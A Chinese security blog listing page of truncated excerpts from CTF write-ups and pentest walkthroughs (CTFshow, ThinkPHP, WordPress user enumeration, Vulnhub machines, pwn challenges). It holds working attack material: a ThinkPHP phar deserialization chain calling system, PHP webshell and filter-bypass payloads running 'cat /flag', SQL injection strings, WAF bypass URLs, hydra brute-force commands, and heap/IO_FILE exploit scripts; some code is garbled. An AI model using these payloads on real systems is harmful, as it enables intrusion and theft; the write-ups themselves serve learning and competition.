CTFshow 菜鸡杯 CTF专场

CTFshow 菜鸡杯

​https://hub.ctfer.com/任务:打败五大派高手的围攻,最后挑战邪恶BOSS【没技术是菜鸡】比赛:CTFshow 菜鸡杯 (简称:鸡杯)开始:2020/8/29 9:00结束:2020/8/30 9:00题目: web 杂项 密码 逆向 pwn 若干道规则:1 比赛期间可以随意讨论,wp须在比赛结束后发布,wp统一发布地址:https://wp.ctf.show2 公平竞技,独立比赛3 服务器不要爆破,不要攻击服务器,不要扫描!!!4 奖品:rank最高的师傅获得武林神器:上古鸡杯 x 1 ,获得称号:鸡杯王第一关 Web派的挑战摇号入园http://119.28.74.193:28066/hint:后台里面找邮箱发现页面有报错,index.php含一句话马eval($_POST);直接上蚁剑,使用密码1连接http://119.28.74.193:28066/index.php,拿到webshell,接下来找flag;查看目录列表查看最近修改的文件未发现flag,根据修改日期,进入命令行用find命令按内容搜索config和runtime目录:find /var/www/html/config | xargs grep "flag{"find /var/www/html/runtime | xargs grep "flag{"在/var/www/html/rumtime/log/202008/22.log中找到flag:复制123456789(www-data:/var/www/html/runtime) $ find . | xargs grep "flag{"grep: .: Is a directorygrep: ./cache: Is a directorygrep: ./cache/4e: Is a directorygrep: ./temp: Is a directorygrep: ./log: Is a directorygrep: ./log/202008: Is a directory./log/202008/22.log: 'email_password' => 'flag{ctf_show_boy}',./log/202008/22.log:< sql > < SQL > UPDATE `kite_site_config` SET `v` = 'flag{ctf_show_boy}' WHERE `site_id` = 1 AND `k` = 'email_password' < RunTime:0.000250s >​第二关 杂项派的挑战猎兔https://ctfshow.lanzous.com/imJj4g62dwjpng文件hint: 兔兔数列查看16进制发现crc值不匹配,用png图片宽高爆破脚本得到正确高度(或直接改大高度),修改得到提示:结合hint,兔子数列即为斐波那契数列。用zsteg查看png图有无隐写内容,发现lsb按列提取的green最低位有一串接近flag的字符串:看到其中flag{五个字符串分别对应着0,1,2,4,7位(反斜杠转义),差值为1,1,2,3刚好对应斐波那契数列前四项;用stegsolve.jar取出lsb按列提取的green最低位完整字符串,存bin文件:最后用脚本按斐波那契数列方式提取字符拼接:复制12345678910111213141516s=open('out.bin','r').read()t=for i in range(2,100): t.append(t+t)flag=''i=0j=0while j<len(s): if j>=len(s): break ss+=s j+=t i+=1 print(flag)​初音未来-圆周率之歌https://ctfshow.lanzous.com/iq64Jg62egjmp3文件hint1: 歌词,看看那首歌最后hint2:...
阅读全文
【月饼杯】月饼杯 -crypto2_月自圆 - CTFshow WP CTF专场

【月饼杯】月饼杯 -crypto2_月自圆 - CTFshow WP

题目名称:crypto2_月自圆 题目描述:Baby (Don’t) Cry 世远人何在?天空月自圆。 出题师傅:Lazzaro 一血师傅:airrudder 源码文件Baby(Don't)Cry.py: # -*- coding:utf-8 -*- #Author: Lazzaro from itertools import * from random import * from string import * def encrypt(m, a, si): c="" for i in range(len(m)): c+=hex(((ord(m)) * a + ord(next(si))) % 128).zfill(2) return c if __name__ == "__main__": m = '****************************************************flag{*************}' assert(len(m)==71) a = randint(50,100) #随机产生四位大写字母 salt = ''.join(sample(ascii_uppercase, 4)) #迭代 si = cycle(salt.lower()) c=encrypt(m, a, si) print(c) #3472184e657e50561c481f5c1c4e1938163e154431015e13062c1b073d4e3a444f4a5c5c7a071919167b034e1c29566647600c4e1c2956661b6c1f50622f0016317e563546202a 明文长度为71位,加密后为142位。 这里由于a不大,salt长度也不长,且明文m中存在flag,正好可以用这几位去爆破出a和salt。 flag在明文m中的位置是53,对应密文c中的位置是105。flag出现的位置正好对应salt的位置。 f ⇒ 1c l ⇒ 29 a ⇒ 56 g ⇒ 66 写脚本爆出a、salt: from itertools import * from random import * from string import * def encrypt(m, a,...
阅读全文
【wp】ctf-2021春秋杯 CTF专场

【wp】ctf-2021春秋杯

ctf-2021春秋杯easy_filter<?phpnamespace think{ abstract class Model{ protected $append = ; private $data = ; function __construct(){ $this->append = ; $this->data = ; } } class Request{ protected $hook = ; protected $filter = "system"; protected $config = ; function __construct(){ $this->filter = "system"; $this->config = ; $this->hook = ; } }}namespace thinkprocesspipes{ use thinkmodelconcernConversion; use thinkmodelPivot; class Windows{ private $files = ; public function __construct(){ $this->files=; } }}namespace thinkmodel{ use thinkModel; class Pivot extends Model{ }}namespace { use thinkprocesspipesWindows; // echo base64_encode(serialize(new Windows())); @unlink("phar.phar"); $phar = new Phar("phar.phar"); //后缀名必须为phar $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub $o = new Windows(); $phar->setMetadata($o); //将自定义的meta-data存入manifest $phar->addFromString("test.txt",...
阅读全文
期待已久的RCTF官方WP来啦!! CTF专场

期待已久的RCTF官方WP来啦!!

 第七届XCTF国际联赛开幕赛RCTF 2021 国际赛于9月13日09:00圆满落幕  各位师傅期待的官方WP也热气腾腾奉上打开以下网页链接即可获取英文版官方WP:https://blog.rois.io/en/2021/rctf-2021-official-writeup/ 中文版官方WP:https://blog.rois.io/2021/rctf-2021-official-writeup-2/ ✬如果你喜欢这篇文章,欢迎点击在看✬评论功能现已开启,我们接受一切形式的吐槽和赞美☺ 本文始发于微信公众号(XCTF联赛):期待已久的RCTF官方WP来啦!!
阅读全文
枚举 WordPress 用户的 6 种方法 安全文章

枚举 WordPress 用户的 6 种方法

                如果你正在测试WordPress网站的安全性,你很可能要看一下REST端点。默认情况下,用户可以通过路由"/wp-json/wp/v2/users "列出。在最新的WordPress版本中,开启后你会得到用户名和哈希的电子邮件。有经验的WordPress管理员和用户都知道这种潜在的泄露。因此,我们可以在网上看到各种关于如何隐藏这些信息的教程。推荐的方法是完全禁用REST API,安装一个禁用特定路径的安全插件,或者阻止特定的请求路径。1. HTTP 参数“rest_route”        我们展示的第一个绕过是滥用替代路径到达同一端点。虽然 Worpdress 默认配置为支持 URL 重写,以使用搜索引擎的 URLhttps://website.com/2020/12/breaking-news代替https://website.com/?p=2678在后台,发送到 /wp-json/ 的每个请求都进入索引页面,参数“rest_route”设置为/wp/v2/users.https://****.com/blog/wp-json/wp/v2/users 已屏蔽https://****.com/blog/?rest_route=/wp/v2/users 绕过2. WordPress.com API        第二种方法已经在之前关于 Jetpack 电子邮件公开披露的博客文章中进行了描述。虽然您可能有一个安全插件,例如 iThemes security,但这并不意味着另一个插件不会破坏其他地方的信息。对于 Jetpack 插件,包括用户列表在内的数据会导出到 wordpress.com 并通过公共 REST API 提供。https://blog.*******.com/wp-json/wp/v2/users 已屏蔽https://public-api.wordpress.com/rest/v1.1/sites/blog.*******.com/posts 绕过3. 拼接        有多个路由是指向用户资源的。下面的PHP代码将禁用列出所有用户的路由("wp/v2/users")add_filter( 'rest_endpoints', function( $endpoints ){ if ( isset( $endpoints ) ) { unset( $endpoints ); } return $endpoints;});        然而,有第二个端点可以被遗忘。"/wp/v2/users/(?P+)",这是一个按id获取用户详细信息的资源。        在下面的表格中,我们可以看到,有一台主机拒绝提供完整的用户名单。然而,我们意识到,针对一个特定的用户并没有被阻止。https://www.*****.org/wp-json/wp/v2/users 已屏蔽https://www.*****.org/wp-json/wp/v2/users/1  绕过4. 大小写敏感性        在REST请求中,路由是用来定义所选资源的。请记住,WordPress是模块化的。资源(或服务)将取决于所安装的插件和WordPress的配置。参数rest_route与所有处理程序提供的路由列表相匹配。匹配是使用不区分大小写的正则表达式进行的。foreach ( $routes as $route => $handlers ) { $match = preg_match( '@^' . $route . '[email protected]', $path, $matches ); if ( ! $match ) { continue; } $args = array();来源:class-wp-rest-server.php由于这个原因,一个有效的WAF规则也需要不区分大小写。RewriteCond %{QUERY_STRING} bwp/v2/usersb RewriteRule ^ -
阅读全文
InCTF--WP CTF专场

InCTF--WP

INCTFInCTF是在线危险格式样式CTF。这是印度有史以来的第一个CTF。此活动由bi0s团队组织。Bi0s团队是Amritapuri校园的Amrita大学的学术团队。该事件基本上集中在基本CTF类别(加密,Web,反向,Pwn,取证)上。挑战的质量很高,每个人都乐于参与该比赛。SYCLOVER战队在此次世界级比赛中获得第十六,就算在暑假大家也一起聚集在线上比赛学习,我们这次逆向题又双叒叕被ak了,膜师傅们!扫描下方二维码即可获比赛WP、长按关注三叶草小组公众号微信号 : 三叶草小组Syclover新浪微博:@三叶草小组Syclover 本文始发于微信公众号(三叶草小组Syclover):InCTF--WP
阅读全文
VulnHub-hackNos:Os-hackNos-2.1-WP 安全文章

VulnHub-hackNos:Os-hackNos-2.1-WP

靶机描述:Difficulty : Easy to IntermediateFlag : 2 Flag first user And second rootLearning : Web Application | Enumeration | Password Cracking大家好,我们是想要为亿人提供安全的亿人安全,这是我们自己想要做的事情,也是做这个公众号的初衷。希望以干货的方式,让大家多多了解这个行业,从中学到对自己有用的芝士~靶机描述一、信息收集1.首先通过命令arp-scan-l确定靶机ip                        2.然后使用nmap进行端口扫描,并且用dirb对其进行目录爆破3.然后dirb,扫到了tsweb目录,然后访问看看。4.然后使用wpscan工具进行扫描,发现了gracemedia-media-player插件5.使用Google搜索看看,有什么好东西。6.可以利用CVE-2019-9618漏洞渗透.7.执行之后找到了flag1 flag:$1$flag$vqjCxzjtRc7PofLYS2lWf/8.然后使用john进行爆破,得到了密码topsecret二:提权1.登录之后在backups下看到了一个可能是密码…发现了MD5值。$1$rohit$01Dl0NQKtgfeL08fGrggi02.利用john解密试试3.john爆破密码:!%hack414.拿到了flag,然后提权5.发现可以使用sudo提权,然后再次输入之前的密码,成功获得root权限。找到了第二个flag三:总结: 这台靶机还有别的提权方式,希望有时间的朋友可以试试。希望这篇文章可以帮助到你,我也是初学者,希望会的大佬勿喷,如果有错误的地方请指出来,我一定虚心改正。如果有好的方法,大家可以分享出来,多多交流。 本文始发于微信公众号(亿人安全):VulnHub-hackNos:Os-hackNos-2.1-WP
阅读全文
全国网络与信息安全技能大赛wp 逆向工程

全国网络与信息安全技能大赛wp

Misc 被黑了_q1 直接 strings 1.pcapng |grep password |grep username 使用 md5(admin123)提交即可 Misc 被黑了_q2 使用名称服务器协议 nbns 查看数据包有查询服务器名称 使用 md5(DESKTOP-AU8UL8C)提交即可 Misc 被黑了_q3 过滤 http 协议发现有 webshell.php 和路径 D:/phpstudy_pro/WWW/webshell.php 使用 md5(D:/phpstudy_pro/WWW/webshell.php)提交即可 Misc 流量分析 直接 strings strings 1.pcapng > 1.txt 找到报错注入点select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from beescms.flags),63,95),0x7e),1)#' limit 0,1#HY000XPATH syntax error: '~4383765343238363639347d,,~'select id,admin_name,admin_password,admin_purview,is_disable from bees_admin where admin_name='admin' and updatexml(1,concat(0x7e,substr((select group_concat(flag) from beescms.flags),1,32),0x7e),1)#' limit 0,1#HY000XPATH syntax error: '~666c61677b62343039663732662d383' Misc 神秘邮件 查看少了文件头 504b补充后发现为word 颜色标注取消隐藏有 flag 尾部 a7165973149c} strings 后有 ZmxhZ3swNTFkNTFjYy0yNTI4IA==,解密为 flag 头部 flag{051d51cc-2528 winhex 查看有 flag 中间部分-4c65-bf88-} Misc 签到MZWGCZ33GFSDGOBZGQ4TALJYMVRWILJUMJRWKLLCGA4TOLJWMU2GMMTEMNRDQNBQHB6Q====base32解密 flag{1d389490-8ecd-4bce-b097-6e4f2dcb8408} Pwn 石头剪子布 分析代码发现伪随机数 编写代码获得伪随机数序列为 2012202012 需要满足(v5 - rand + 4) % 3 – 1>0 获得输入序列为...
阅读全文
全国工业互联网技能大赛wp 逆向工程

全国工业互联网技能大赛wp

点击蓝字  关注我们签到查看源代码,访问 game.js搜索flag即可获取flagSimpleCalculator本以为是模板注入,但发现过滤了一些函数就大体知道应该是命令执行了。以前做过类似的题目,一般都是直接通过异或构造木马执行命令但这种题目一般都会给出源码,但扫了几次无果,就利用了以前收藏的exp准备试一试所以直接构造同一exp就行了search=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=ls然后发现执行成功,这里直接读取到flagsearch=$cos=(is_nan^(6).(4)).(tan^(1).(5));$cos=$$cos;$cos{0}($cos{1})&0=system&1=cat%20/flagSQLManager一个可以创建表的页面,抓包发现table_name,和columns_name, 同样再一次比赛中做过类似的题目,记得是sqlite数据库,每个sqlite都有一个自动创建的库sqlite_master,里面保存了所有表名以及创建表时的create语句。我们可以从中获取到flag的表名和字段名。然后在创建表的时候可以用as来复制另一个表中的数据。所以可以用as select sql from sqlite_master来复制sqlite_master的sql字段。构造payload:table_name=idlab as select sql asfrom sqlite_master;&columns=INTEGER果然获取到表和列,然后直接构造获取flagtable_name=idlab as select flag_ThE_C0lumn asfrom flag_Y0U_c4nt_GUESS;&columns=INTEGEReasyphp访问url,就看到page参数,发现存在文件包含尝试下访问根目录readflag,发现是个elf的程序,就知道这题肯定得要拿shell了。利用filter协议查看源代码php://filter/read=convert.base64-encode/resource=/var/www/html/index.php简单代码审计一波,可以直接通过file_put_contents函数生成文件,但是有个<?php exit(); 所以创建木马也没用,所以需要绕过他,可以通过filter过滤器来进行过滤,通过代码查看发现strip_tags没有过滤直接贴expphp://filter/write=string.strip_tags|zlib.inflate|%3F%3E%b3%b1%2f%c8%28%50%28%ae%2c%2e%49%cd%d5%50%89%77%77%0d%89%8e%8f%d5%b4%b6%b7%03%3C%3F/resource=idlab.phpurl编码原理:闭合原来的PHP标签。经过targs就会删掉exit。然后再经过zlib解压。得到一句话执行执行就ok机密的图纸图片1高度被缩小,调大以后可以看到Y004的输出逻辑另一个图片后有文字‚LD T3.OUT T4 K40.LD T4.OUT T5 K150.LD T5.OUT T6 K60.END,也是描述了T4-T6的梯形图根据图片的逻辑,推导出T0-T6的逻辑:再根据T0-T6的逻辑计算出Y0-Y6的时序如下:再合并字符串以后,删除换行转md5即得到flaglogger在我们输入的长度被存储在了r8寄存器,而r9就是对应的输入的idx,通过构造r8,r9我们可以实现任意写,我们可以修改IO_FILE结构体的指针,并且程序在调用vprintf等函数的时候会调用IO相关指针,伪造一个IO_FILE_plus结构体的vtable指针,里面的函数指针我们给它修改成one_gadget,拿到shell,拿下flag#!/usr/bin/env python# coding=utf-8from pwn_debug import *context.log_level = "debug"pdbg = pwn_debug("./logger")debug = 3#pdbg.context.terminal=pdbg.local() pdbg.debug("2.23") #2.23 ... 2.29pdbg.remote("39.105.35.195",15333) #IP,PORTif debug == 1: r = pdbg.run("debug")elif debug == 2: r = pdbg.run("local")else: r = pdbg.run("remote")def debug(addr): pdbg.bp()def get_base(r): text_base = r.libs() for key in r.libs(): if "libc.so.6" in key: return text_base,r.libs()def confirm(address): n = globals() for key,value in n.items(): if value == address: return success(key+" ==> "+hex(address)) elf = pdbg.elflibc = pdbg.libcdef choice(idx): r.sendlineafter("4. Exitn",str(idx))def warning(content):...
阅读全文
高校战“疫”网络安全分享赛-部分PWN题-wp SecIN安全技术社区

高校战“疫”网络安全分享赛-部分PWN题-wp

高校战“疫”网络安全分享赛-部分PWN题-wp 1.本文由复眼小组的RGDZ师傅原创 2.本文共3500字,图片30张 预计阅读时间10分钟 3.由于笔者水平有限,所以部分操作可能不是最优的,如果各位看官还有更好的方法,欢迎您到评论区分享一下! 0x00.前言: 周末打了下 《高校战“疫”网络安全分享赛》,作为WEB转PWN的菜鸟,只做出了三个PWN, 虽然被大佬们暴捶,但还是学到了几个操作,这里写一份WP,记录一下。 0x01.easy_heap: 1.函数分析: 这道题比较简单,checksec如下: main函数如下: 在del函数可以发现指针已经清0 add函数如下: 我们可以发现,其现申请的ptr指针然后再给其赋值,如果我们申请的时候,输入大于0x400的size,虽然函数退出,但是实际上ptr里面已经有指针了,而且上面的del函数释放时并没有给size清空,漏洞点就在这里 2.思路简述: 我们可以现申请一个0x60和0x70的fastbin,然后释放掉,此时fastbin的链表如下: 之后我们再add(0x500)一下,ptr就等于第一个fastbin,同时其fd指针还保留了留在0x1552000也就是第二个fastbin的指针地址,所以这个时候我们编译ptr也就是编辑第二个fastbin,之后我们可以在add(0x20)一下,add(0x50)把第二个bin拿出来,同时拿到ptr之后我们编辑ptr实际上就可以控制ptr, 现在ptr的堆栈情况如下: 所以我们编辑ptr来使得ptr的指针变成170也就是ptr,(注:这里地址不一样是因为我本地开了ASLR,我是在脚本里面直接下的断点,但后三位偏移是一样的。)所以当我们在去编辑ptr时实际上就是在编辑ptr的chunk,如图: 由于程序没有开启got保护,而且题目没有给出输出函数,所以我们可以先想办法泄露,我们可以先通过ptr修改ptr的指针指向free_got,在通过编辑ptr来修改free_got为puts_plt,在回去编辑ptr来修改ptr为atoi_got,这样当我们free掉ptr后,就能泄露atoi的地址,计算出libc基地址,我们在通过编辑ptr来使得ptr指向atoi_got,在编辑ptr来修改atoi_got为system的地址,这样下一次输入时输入/bin/sh就可以getshell了。 3.完整EXP: ```python from pwn import * context.log_level = "debug" io = process("easyheap") io = remote("121.36.209.145", 9997) elf = ELF('easyheap') libc = ELF("libc.so.6") def c(idx): io.sendlineafter("Your choice:", str(idx)) def add(size, buf): c(1) io.sendlineafter("How long is this message?", str(size)) io.sendafter("What is the content of the message?", buf) def free(idx): c(2) io.sendlineafter("What is the index of the item to be deleted?", str(idx)) def edit(idx, buf): c(3) io.sendlineafter("What is the index of the item to be modified?", str(idx)) io.sendafter("What is the content...
阅读全文
Vulnhub | 从Git泄露到Get-root 安全文章

Vulnhub | 从Git泄露到Get-root

非常有意思的一个靶场,中间爆破时间太长还做了另外一个靶场,等明天再发出来IP获取及信息收集靶机直接给了ip地址,仍旧是信息收集老三样,先扫端口nmap -T4 -A -sS -p 1-65535 -v 192.168.1.100ShellBash渗透wp域名先看一下80端口直接访问发现告诉我们wp.gitroot.vuln域名下存在wordpress建站系统,我们直接在hosts目录下绑定域名,由于wp.gitroot.vuln是二级域名,我们在绑定wp子域名的同时,绑定主域名,这样在测试时,如果存在其他子域名我们也可以进行子域名爆破从而收集数据在我们的windows和linux目录下都绑定一下绑定之后访问域名,成功进入wordpress站点发现用户名,访问wp-login.php进行弱口令爆破没反应,wp-scan搞一下repo子域也没啥东西,除了版本老一点,wp这个站点就先放这里,回到最开始的点,既然wp这个子域名没有什么有效信息,我们直接爆破一下子域名,这里能用的有很多wfuzz和gobuster都可以./gobuster vhost -u gitroot.vuln -w /root/OneForAll/data/subnames.txtShellBash原本用的是DNS方法,结果查不出来,在网上看需要用vhost方法查到了第二个子域名,hosts文件绑定一下,访问一下看看告诉我们这是存储代码的地方,直接扫一下目录,查看是否存在备份文件先看看web页面,manual页面存放的是apache文档文件,剩下的页面也没有太过有效的信息同时看到存在git源码泄露,我们先用githack下载下来源码看看几个文件核心代码相似,看一下 $gitmem = new Memcached(); $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true); $gitmem->setSaslAuthData("USERNAME", "PASSWORD"); $gitmem->addServer("127.0.0.1", 11211); $response = $gitmem->get($_GET);PHPPHP看了一下大概是远程管理git仓库的代码,看一下其他的两个txt文件一个说这个git仓库有错误,一个给了我们疑似密码的字符串,同时我们可以根据之前在wordpress站点获取到的信息,可以发现该网站应该有三个用户pablobethjen首先猜测一下这个字符串是否为密码,在wp子域名下进行尝试,无法登陆,22端口再测试一下,还是无法登陆,那么剩下的就是txt文档给我们的提示了,我们需要通过git来找寻信息,这里单纯的使用githack已经不能完成了,我们使用gittools来分析bash gitdumper.sh http://repo.gitroot.vuln/.git/ ssssShellBash看到下载到很多历史文件夹,我们恢复一下数据bash extractor.sh ../Dumper/ssss/ fuShellBash生成了六个文件夹,tree一下看看目录结构存在commit-meta.txt,我们挨个查看文件收集信息,在最开始的set.php中发现密码 $gitmem->setOption(Memcached::OPT_BINARY_PROTOCOL, true); $gitmem->setSaslAuthData("[email protected]", "ihjedpvqfe"); $gitmem->addServer("127.0.0.1", 11211); $response = $gitmem->set($key, $value);PHPPHP我们使用该密码尝试登陆22端口和web端口,登陆失败,尝试登陆一下git服务器也无法登陆,综合一下目前的信息user:pablo/beth/jenpass:ihjedpvqfe直接上九头蛇爆破一下吧hydra -L user.txt -P rockyou.txt -vV -o ssh.log -e ns 192.168.1.102 sshShellBash出门剪个头发,回来看结果没有结果,吃个饭再等等吧,吃了饭溜了弯,等了六七个小时了,还是没有,继续等,然后去看看国外老哥是啥思路发现国外老哥也是爆破思路,我直接给密码先拿过来用,然后rockyou继续跑着,先进行下面的测试利用爆破得到的用户密码成功登陆服务器,在服务器上收集信息服务器发现了第一个flag,在public目录下发现message.txtHey pabloMake sure to check-out our brand new git repo!告诉我们还要搜索git,直接find一下服务器中的git目录find / -name '.git' 2>/dev/nullShellBash发现存在git目录,在靶机/opt/auth目录下开一个HTTPServer,依然使用gittools进行下载靶机:python -m SimpleHTTPServer 9999kali:bash gitdumper.sh http://192.168.1.102:9999/.git/ test-gitShellBash恢复一下数据bash extractor.sh ../Dumper/test-git/ tttgitShellBash进入指定目录,看一下修改文件记录好家伙 200多个文件夹,这里介绍两个方法进行查找,首先是最直接的文件大小法,直接列出所有文件夹下的大小,把相同的过滤掉,剩下不同的就是修改过的文件,也是最可能是给我们提示的文件ls -tl **/ #显示当前目录下所有文件的大小ShellBash大致看一下,剔除一下最多出现的文件大小ls -tl **/|grep -v "393"|grep -v "212"|grep -v " 94 "|grep -v " 394 "|grep -v " 95 "ShellBash发现只有166文件夹下的commit-meta.txt没有被过滤掉,我们读取一下该目录下文件发现密码。我们也可以根据git的特性来查找,既然是在git中修改,那么修改过后,作为记录日志的commit-meta.txt文件就会记下变化,而git的修改关键词是“added”,我们直接在当面目录下查找存在added的文件即可找到修改的文件位置获取到密码后,我们尝试切换一下用户成功切换用户,查看一下用户目录,依然存在提示[email protected]:~/public$ cat addToMyRepo.txt Hello...
阅读全文